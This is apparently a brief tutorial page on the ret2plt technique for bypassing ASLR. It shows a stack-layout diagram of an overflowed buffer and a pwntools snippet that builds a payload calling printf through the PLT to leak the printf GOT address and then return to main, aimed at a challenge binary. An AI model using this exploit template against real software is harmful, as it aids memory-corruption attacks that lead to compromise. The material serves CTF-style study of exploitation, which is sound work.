Ret2plt
ASLR bypass
How it works ?
address | values
------------+-------------------------------------------------------------------
| +------------------------- Buffer ---------------------------+
0xffffd264: | | 0x41414141 0x41414141 0x41414141 0x41414141 |
| +------------------------------------------------------------+
| +- plt addr -+ +-saved eip -+ +--- param --+ |
0xffffd274: | | 0x565561dd | | 0xffffd35c | | 0xffffd12c | 0x00000001 |
| +------------+ +------------+ +------------+ |
... | ...[buffer overflow needed lenght][plt function() address][any 4 bytes][parameter]from pwn import *
elf = ELF('./chall')
payload = flat(
b'A' * padding,
elf.plt['printf'],
elf.symbols['main'],
elf.got['printf']
)Last updated